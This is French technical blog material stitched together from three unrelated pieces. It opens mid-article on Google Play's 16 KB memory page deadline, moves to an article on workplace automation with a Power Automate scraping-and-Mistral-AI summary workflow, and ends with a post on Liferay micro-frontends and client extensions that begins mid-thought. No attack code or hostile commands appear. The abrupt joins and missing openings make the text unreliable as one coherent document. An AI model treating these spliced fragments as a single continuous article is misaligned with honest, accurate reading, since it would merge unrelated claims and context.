Google propose désormais une option de prolongation destinée aux équipes qui ont besoin de plus de temps pour recompiler leurs bibliothèques natives et mettre à jour leurs dépendances. Si votre application ne sera pas prête avant la date limite du 1er novembre 2025, vous pouvez demander un report jusqu’au 31 mai 2026.

Pour connaître l’état de conformité de votre application, rendez-vous dans la Play Console, section « Policy status ». Un avertissement y sera affiché si votre application n’est pas encore compatible avec les pages mémoire de 16 KB.

À noter : aucune prolongation ne sera accordée au-delà du 31 mai 2026. À partir de cette date, toutes les mises à jour d’applications devront impérativement être compatibles avec ce format mémoire. Si votre application est déjà conforme, aucune action n’est nécessaire, mais il est conseillé de la tester dans un environnement 16 KB afin d’anticiper la prise en charge des futurs appareils.

Possibilité de demander une prolongation jusqu’au 31 mai 2026 directement depuis la section « Policy status » de la Play Console.

Source : https://support.google.com/googleplay/android-developer/thread/368982598

Recommandations stratégiques

Pour les équipes de développement

1. Planifiez dès maintenant : ne pas attendre la dernière minute

2. Auditez vos dépendances natives : identifiez les points de blocage potentiels

3. Intégrez les tests 16 KB dans votre pipeline CI/CD

4. Formez vos équipes aux spécificités de cette migration

Conclusion

La migration vers les pages mémoire 16 KB représente une évolution naturelle d'Android vers de meilleures performances. Bien que cette transition soit transparente pour la majorité des applications, celles utilisant du code natif nécessitent une attention particulière.

L'anticipation est clé : commencez dès maintenant l'audit de vos applications, mettez à jour vos outils de développement et testez sur les environnements 16 KB. Cette approche proactive vous permettra de bénéficier des gains de performance tout en respectant les échéances imposées.

Les équipes qui investissent dès maintenant dans cette migration seront non seulement conformes aux exigences de Google Play, mais bénéficieront également d'applications plus performantes et plus économes en énergie pour leurs utilisateurs.

Références

Android Developers Docs — Support for 16 KB page sizes Documentation officielle expliquant le changement, les échéances, les flags NDK, des exemples de code et les méthodes de test.

Android Source Documentation — 16 KB page size in AOSP Analyse technique détaillée des flags du kernel, de la configuration de build et de la justification architecturale.

Imaginez une équipe qui doit chaque semaine copier-coller des données depuis différents rapports pour mettre à jour un tableau de suivi. Chaque erreur coûte du temps et parfois de l’argent, et la frustration monte… C’est là que l’automatisation prend tout son sens.

Autre exemple fréquent : l’arrivée d’un nouveau collaborateur. Aujourd’hui, c’est souvent un parcours semé de mails et de formulaires à remplir à la main. Avec l’automatisation, tout peut s’enchaîner automatiquement : création de compte, envoi d’un mail de bienvenue, mise à disposition des accès aux bons outils.

On pourrait multiplier les exemples : consolidation automatique de rapports, veille d’actualité pilotée par l’IA, extraction et diffusion de données clés… Loin d’être un gadget marketing, l’automatisation constitue désormais le socle d’une organisation efficace. En réduisant les erreurs, en optimisant l’utilisation des ressources et en libérant du temps, elle permet aux équipes de se concentrer sur ce qui fait vraiment avancer : la créativité, la stratégie et la prise de décision.

Dans cet article, nous allons poser les bases d’une réflexion autour de l’automatisation : ses enjeux stratégiques, ses bénéfices pour les organisations, mais aussi ses applications concrètes à travers des cas d’usage comme la veille automatisée avec Power Automate. L’objectif est simple : vous donner à voir, à la fois la vision et les usages, pour aborder l’automatisation avec méthode et pragmatisme.

L’automatisation comme levier stratégique

L’automatisation n’est pas seulement un moyen de « gagner du temps » sur quelques tâches répétitives : c’est un levier stratégique qui transforme la manière dont une organisation fonctionne.

D’abord, elle améliore la productivité : en réduisant la part de travail manuel et sujet à l’erreur, les équipes peuvent se concentrer sur les activités à forte valeur ajoutée comme la relation client, l’innovation, le pilotage de projets. Ensuite, elle favorise la fiabilité des processus : les erreurs humaines (copier-coller approximatifs, oublis, retards) sont minimisées, et les flux d’information deviennent plus cohérents et traçables.

Mais son impact ne s’arrête pas là. L’automatisation agit aussi comme un accélérateur de transformation organisationnelle. Elle permet par exemple à une PME de mettre en place des processus de qualité équivalents à ceux d’un grand groupe, ou à une équipe projet de collaborer plus efficacement en supprimant les frictions administratives.

On peut voir l’automatisation comme une progression par étapes :

• on commence par automatiser des tâches simples (réponses automatiques, mises à jour de fichiers),

• puis on enchaîne avec des processus complets (validation de factures, onboarding d’un salarié),

• et à mesure que la maturité grandit, on intègre de l’IA ou on orchestre des workflows qui traversent plusieurs départements.

Cette montée en puissance est stratégique car elle offre aux organisations une scalabilité : l’automatisation vient en réponse à la complexité croissante de la gestion administrative dans les organisations, on s’appuie sur des systèmes capables d’absorber la croissance.

Avant d’aller plus loin : un mot sur le scraping

Avant de parler des outils et des scénarios concrets, un point important : le scraping — c’est-à-dire la récupération automatique de contenu sur des sites web — est une pratique puissante mais à manier avec précaution.

Pourquoi ? Parce que selon les sites, cette pratique peut entraîner des blocages techniques, être contraire aux conditions d’utilisation, poser des questions légales ou d’éthique. Je vous invite donc à toujours vérifier la légalité et la pertinence de ce type d’automatisation avant de vous lancer.

Vous êtes responsable de l’utilisation que vous faites des sites qui vous sont mis à disposition.

Exemple concret : automatiser la veille avec Power Automate

Pour rendre l’automatisation tangible, prenons un cas concret : la veille informationnelle. Dans beaucoup d’entreprises, rester à jour sur l’actualité, surveiller la concurrence ou détecter des tendances demande un temps considérable. Automatiser ce processus permet de gagner du temps et d’obtenir une information plus pertinente, organisée et facilement exploitable.

Voici comment j’ai structuré le flow pour automatiser la veille :

• Scraping automatisé : via des connecteurs ou scripts intégrés, récupération des articles récents sur des sources choisies.

• Analyse intelligente : utilisation d’un modèle IA pour évaluer la pertinence de chaque article selon des critères définis (actualité, originalité, clarté).

• Synthèse concise : l’IA produit un résumé de chaque article en quelques points clés, ce qui facilite la lecture rapide.

• Stockage organisé : les données sont stockées dans un fichier Excel, structuré et facilement exploitable.

1. Tout d’abord on définit une récurrence. Cette étape sert à définir la fréquence à laquelle votre workflow doit s'exécuter automatiquement. C'est comme un réveil qui sonne à intervalles réguliers pour lancer le processus.

2. Puis on initialise différentes variables, ici en l’occurrence 4 : 3 de type chaîne et 1 de type tableau qui servira pour lister vos url à scrapper.

1. On définit une boucle pour itérer sur une collection d'éléments. Si vous avez une liste de données (par exemple, des éléments d'un tableau), cette étape vous permet d'effectuer des actions pour chaque élément de cette liste. Ici on va itérer sur la liste d’url définie précédemment,

2. Puis on met à jour la variable url avec une des valeurs de la liste sur laquelle on itère,

3. On fait ensuite un appel HTTP à l'URL spécifiée précédemment. Cela peut être utilisé pour interagir avec différentes web services,

4. On enregistre le contenu de la réponse HTTP dans la variable http body définie plus tôt,

5. On fait ensuite un appel HTTP à Mistral AI (c’est un exemple cela aurait pu être n’importe quelle IA) en lui passant le contenu de la variable précédente en complément d’un prompt préalablement travaillé,

6. On enregistre le contenu de la réponse HTTP dans la variable http réponse mistral définie plus tôt,

7. Le résultat enregistré dans la variable précédente est ajouté à un tableau Excel. Cela sert à consigner les sorties et d'autres informations utiles de manière structurée.

Ce workflow illustre concrètement ce que nous venons de présenter : l’automatisation n’est pas une abstraction stratégique, mais une réalité pratique, accessible dès aujourd’hui. On met en place un scénario concret, dans lequel l’IA ne se contente pas d’exécuter une tâche, mais apporte une valeur ajoutée réelle par son analyse.

La construction de ce workflow m’a pris une bonne journée, tout en découvrant Power Automate. Avec un peu de recul, je pense qu’aujourd’hui cela pourrait être réalisé en deux heures.

La partie concernant le prompt, que je ne compte pas dans le temps de construction, m’a également pris pas mal de temps avant que je réussisse à obtenir exactement ce que je voulais, je suis revenu dessus régulièrement.

Conclusion – L’automatisation : bien plus qu’une mode

L’automatisation n’est pas un simple gadget ou une tendance passagère : c’est un levier concret pour améliorer l’efficacité et la qualité du travail, et un vecteur de transformation organisationnelle.

À travers la typologie des automatisations et l’exemple concret de veille automatisée avec Power Automate, on voit comment des tâches répétitives, fastidieuses et sujettes aux erreurs peuvent devenir des workflows fiables, fluides et stratégiquement utiles. L’organisation gagne en temps, en cohérence, et les équipes peuvent se concentrer sur ce qui crée vraiment de la valeur : analyse, créativité et décision.

Ce premier article pose donc les bases : il vous invite à observer vos processus, identifier les tâches à automatiser, et tester des scénarios simples pour gagner en maturité. Le prochain volet vous emmènera plus loin, en explorant comment l’intelligence artificielle combinée à Power Automate peut générer des insights pertinents et soutenir la prise de décision stratégique.

Et vous ? Quelles tâches dans votre quotidien pourraient bénéficier de cette automatisation ? Et comment pourriez-vous, dès aujourd’hui, commencer à transformer vos micro-processus en leviers stratégiques ?

C’est là que Liferay entre en scène, comme je l’avais déjà évoqué dans la conclusion de mon dernier article.

1 - Liferay et les micro-frontends

Liferay est un outils en constante évolution depuis le début des années 2000.
Il existe en version CE (gratuite) et DXP (payante avec un support) et toutes les sources sont disponibles sur GitHub, il est donc très simple de voir ce qui a été fait, comment ça a été fait et le faire évoluer, car Liferay repose sur OSGi (principe micro-services) et est désormais en Java 21.
Voici un schéma d’architecture résumant bien le fonctionnement de Liferay :

Liferay au fil des années est passé d’un monolithe à désormais 1390 modules en version CE. Modules qu’il sera facile de désactiver, supprimer, blacklister, surcharger… et bien sûr en créer de nouveaux.
Historiquement, Liferay gérait des widgets (ou portlets) et a toujours offert la possibilité de les déplacer, supprimer, configurer en temps réel ou bien en avance de phase.
Tout ce savoir faire a évolué en version 7.x, avec l’arrivée des fragments :

Un fragment c’est un composant réutilisable et modifiable à chaud qui contient une partie HTML, une partie CSS, une partie JS et enfin une partie configuration, le tout est exécuté en temps réel, un peu comme un CodePen ou un Jsfiddle.

En version 7.3, ces fragments ont encore été améliorés. On peut désormais :

• les dupliquer,

• les déplacer,

• les exporter,

• les importer,

• les composer,

• les configurer,

• faire des brouillons,

• les créer en live
  …

Et en version 7.4, a été ajouté le principe de Client Extension (ou CX). Ces Clients eXtensions permettent de définir des extensions clientes externes que l’on va pouvoir déployer sur son instance Liferay.
Désormais, Liferay propose une version “online” dite SaaS, même si il est toujours possible de faire du PaaS, ou bien d’héberger son Liferay soi-même (sur son PC, son serveur ou son Kubernetes en mode “Self-Hosted”).
L’avantage des CX est qu’ils ne sont pas intrusifs, il est possible de les déclarer via les IHMs (ou le code) avec l’idée de déporter le code en dehors de Liferay.
Liferay est donc plus facile à upgrader/migrer car le code ajouté sera constitué de ressources externes hébergées ailleurs avec leur propre cycle de vie.
De plus, Liferay a décider de ne plus changer de version majeure, la 7.4 devrait être la dernière et désormais les mises à jour se font simplement module par module.

2 - Intégrer des “Objects”

Comme je l’ai évoqué dans mon précédent article, Liferay propose du LowCode/NoCode avec les Liferay “Objects” qui sont exposés en REST et GraphQL.

Dans cet écran, on voit que j’ai déclaré un “Object” Contrat qui va contenir un libellé, une date de début, une date de fin…
Et les entrées de cet “Object” pourront être visualisés, créés, modifiés, supprimés en temps réel au moyen de widgets fournis par Liferay mais seront aussi disponibles sous forme de collections et accessibles en “headless” comme le montre l'écran suivant accessible via l’url de l’API Explorer :

Finalement pour le backend, plus besoin de s'embêter, Liferay stocke les données en base de données et les indexe dans l’ElasticSearch donc aucun soucis de performance ou de limite, toutes les données sont triables, paginables et recherchables nativement.

3 - Intégrer des “Custom Elements”

Concernant la partie frontend et nos “MFE”, Liferay a prévu un CX de type “CustomElement” qui nous permet de déclarer notre “CustomElement” (ou RemoteApp) et de le transformer en widget que l’on va pouvoir déposer à l'endroit souhaité sur nos pages.
On pourra aussi le configurer pour faire en sorte qu’un même MFE puisse se comporter différemment en fonction de sa configuration.
Il est aussi possible d’avoir une ou plusieurs instances d'un même MFE par page mais cela implique de faire très attention à la façon de coder pour ne pas avoir d’interférences.

Pour déclarer un MFE, il faut simplement ajouter un CX de type “Custom Element” et le configurer de cette façon :

Ici, on retrouve ce qui avait été déclaré dans le fichier “index.html” de notre projet Angular (voir mon premier article).
On indique les ressources JS (ici il y en a 2) et les ressources CSS (ici une seule), puis on va aussi indiquer si on activera le mode modulaire (ES Build : ce qui va nous permettre d’utiliser les importMaps) et si on veut que notre MFE soit instanciable ou non. Pour rappel, si un élément est instanciable, on pourra le déposer plusieurs fois sur une même page, sinon on ne poura le déposer qu'une seule fois par page.
Dans les 2 cas, on pourra, au moyen de la configuration, faire en sorte que leur comportement ou leur affichage soit différent.

4 - Intégrer des “ImportMaps”

Ensuite, il nous reste à déclarer nos importMaps, car ce sont aussi des CX, qui pourront être ajoutés sur une page, plusieurs pages (au niveau de la Master Page) ou toutes mes pages (au niveau du Thème).
Sachant que Liferay intègre déjà nativement tous les importMaps pour React 18 (mais pas pour Angular). Il est donc beaucoup plus simple de faire du React en Liferay.
Pour déclarer un ImportMap, on procédera de la même façon que précédemment :

Ici, j’ai déclaré un importMap que j’ai appelé avec le même “spécificateur” que celui utilisé dans ma RemoteApp Angular 19, et l’url utilisée sera la même que celle déclarée dans le “head” du fichier “index.html”.
Je peux aussi décider de télécharger ce fichier et l’héberger sur mon Liferay (Liferay intègre une GED qui historise nativement les fichiers) ou sur mon Nginx.

5 - Intégrer d'autres ressources

Il sera aussi possible d'intégrer d'autres ressources sous la forme de CX (Client eXtension). Comme par exemple des fichiers statiques JS ou CSS mais aussi des surcharges de fichiers du thème par défaut de Liferay (en mode SaaS, on ne peut pas ajouter de thème mais on pourra surcharger le thème par défaut pour modifier uniquement notre instance).

Il sera aussi possible d'ajouter des CX de type micro-service ou batch, voir la page Liferay pour en connaître la liste exhaustive : https://learn.liferay.com/w/dxp/liferay-development/client-extensions

6 - Intégrer des styles

Il est aussi possible de créer des styles, Liferay permet de créer des feuilles de styles qui pourront être appliquées par page ou par site.

De cette façon, je vais pouvoir créer un design system commun pour plusieurs pages, un site entier ou plusieurs sites.

Il sera possible de “brander” un site aux couleurs de Canon, Apple, Philips ou autre…

Un même site pourra hériter de styles CSS entre toutes ses pages et je ne parle pas que de couleurs, mais aussi de bordures, d’arrondis, de fontes, d'espacements, de titres…

Ci-dessus, la version “Canon” de mon site et ci-dessous, la version “Philips” :

Et voici la configuration l’éditeur des feuilles de styles si je voulais créer un site “Apple” :

Sur la partie gauche je peux visualiser la page de mon choix et sur la partie droite je peux modifier en temps réel les couleurs, bordures, espacements, titres… jusqu’à obtenir l’effet souhaité.

7 - Intégrer des sites

Liferay propose aussi de créer des templates de pages ou de sites.

Il est possible de créer une ou plusieurs usines à sites qui auront des pages communes avec des styles différents, une favicon différente, un logo différent et bien sûr des données différentes.

Chaque site peut avoir des paramétrages différents et chaque MFE pourra s'afficher différemment puisqu'il va hériter du CSS du site en cours mais aussi de son paramétrage.
On peut par exemple dans notre MFE récupérer les données avec un identifiant technique configuré sur chacun des sites.

8 - Intégrer des MFEs entre eux

Étant donné que les MFEs peuvent être sur une même page, ils profitent des mêmes styles CSS mais aussi des mêmes objets javascripts.

Liferay expose différentes méthodes javascripts comme Liferay.fire(), Liferay.on(), Liferay.Util, Liferay.ThemeDisplay, Liferay.Session, Liferay.Service…

Un MFE présent sur une page Liferay peut donc accéder à toutes ces méthodes et objets JS et interagir avec les autres composants sur cette même page. Il peut donc récupérer le contexte de la page en cours (quel utilisateur est connecté, est-il en mode substitution, dans quelle langue, sur quelle page…) mais aussi déclencher un rafraîchissement d'un autre composant, lui envoyer des données, l'écouter, naviguer vers une autre page… et cet autre composant pourra être un MFE, un widget Liferay ou un fragment Liferay.

Il est donc très facile d'interagir avec le panier ou l'avatar pour lui envoyer une information ou lui demander de se rafraîchir et ainsi qu'il mette à jour son compteur de notification ou d'articles dans le panier.

Enfin si on veut faire persister des donnés, on peut appeler un webservice Liferay, sans besoin de fournir nos informations de connexion.

Dans l'animation ci-dessus, pour la communication entre mes 2 MFEs n’ayant pas conscience l’un de l’autre, j’ai utilisé le “Liferay.fire()” présent nativement dans toutes les pages Liferay pour envoyer un objet JS :

Et du côté de la “RemoteApp” Angular 19, j’ai utilisé le “Liferay.on()” :

Ensuite, il est possible d’interagir avec tous les éléments présent à l’écran et c’est ce que j’ai fait dans l'animation ci-dessous entre un MFE Angular et le fragment avatar natif de Liferay :

Dans cette animation, on voit que lorsque j’effectue une modification sur le profil de l’utilisateur, le webservice que j’ai créé et appelé par mon MFE va ajouter une notification à destination de ce même utilisateur. Le MFE va donc demander un rafraichissement de l’avatar qui va actualiser sa pastille de notification. En cliquant dessus, je vais pouvoir accéder à toutes mes notifications pour modifier leur statut.

9 - Intégrer le cycle de vie des utilisateurs

Liferay s'occupe nativement de la gestion des utilisateurs, de la politique des mots de passe, de leurs rôles, permissions et de leur session.

Liferay peut aussi déléguer à un IdP (Identity Provider) en OIDC, SAML, CAS… et peut gérer la réplication de sessions.
En cas de coupure de réseau, ou de problème sur un serveur, Liferay peut fonctionner en mode cluster et répliquer les sessions des utilisateurs afin qu'il n'y ait aucune perte de session.
Et même si ce cas est rare, il peut s'avérer utile lors des déploiements de nouvelles versions… on pourra donc assurer un service 24h/24 et 7j/7 sans interruption de service.

10 - Intégrer les publications

Liferay propose aussi nativement le principe de Publications, on va donc pouvoir expérimenter en avance de phase une nouvelle version de nos pages ou configurations sans affecter la production et programmer notre publication à une date définie à l'avance et même pouvoir faire un retour en arrière en cas de problème.

Il est aussi possible de définir des MFEs présents sur un autre domaine et donc de pouvoir tester nos MFEs localhost sans besoin de les déployer réellement.
Un cas d'usage extrêmement pratique est de déclarer nos MFEs locaux sur un environnement de test. Ainsi nos développeurs frontends n'aurons pas besoin d'installer un Liferay sur leur poste, ils pourront exécuter leur application javascript localement et l'intégrer facilement sur le site d'intégration ou de recette.
Un développeur frontend pourra tester son code dans un environnement donné sans impacter cet environnement puisqu'il sera sur un site dédié ou une page cachée d'un site donné.

11 - Intégrer le rafraîchissement des MFEs

Liferay permet de gérer le rafraîchissement des MFEs.
Nativement, lorsque qu'un MFE est inséré dans une page, un timestamp est ajouté automatiquement en paramètre et le navigateur va recharger les ressources du MFE affiché.

A chaque déploiement ou modification du “Custom Element”, le timestamp changera et provoquera son rechargement automatique sur toutes les pages le contenant.

Si le MFE est hébergé sur le Liferay, à chaque déploiement il sera modifié et donc sera rechargé. Mais si il est hébergé ailleurs (cas d'une remoteApp), il y a deux solutions simples :

• soit modifier manuellement le CX déclaré dans Liferay et donc provoquer son rechargement.

• soit prévoir un mécanisme de mise à jour automatique toutes les X minutes en utilisant par exemple le mécanisme natif de “scheduler” de Liferay qui ira interroger la version déployée de la “RemoteApp”.

12 - Conclusion

Avec ce second article j'ai parcouru beaucoup de fonctionnalités de Liferay. Toutes sont disponibles dans la version CE mais la version DXP apporte un support et 4 versions annuelles dont une maintenue 5 années. La version CE elle ne propose qu'une seule version par an même si il est possible à tout moment de surcharger une partie ou de générer une version en partant du code source disponible sur GitHub.

Cet outil est très facile à prendre en main, même si il propose énormément d'options.

Les images dockers sont disponibles ici pour la version CE et ici pour la version DXP.
Par défaut, les images docker fonctionnent dans un mode “démo”, c'est à dire avec une base de données fichiers et un ElasticSearch “SideCar”. Il est important de modifier la configuration par défaut dans un projet réel.
La version DXP est inclue avec une licence de 30 jours permettant de tester facilement cette version.

Si vous voulez mettre en place une micro-architecture comme évoquée dans cet article, n'hésitez pas à me solliciter ou à solliciter Niji pour une démonstration, des conseils, une prestation d'installation, une formation ou encore un projet clé en main !

En fonction de la volumétrie et surtout du nombre de connexions simultanées, il sera possible de faire une installation très simple avec un PostgreSQL et un Tomcat (serveur exposant le Liferay) sur une simple VM ou partir sur une architecture Kubernetes avec plusieurs réplicats (en mode cluster) et un ElasticSearch.

Si vous m'avez lu jusqu'ici, merci de m'ajouter un like 👍 ou de me laisser un commentaire ✍️ !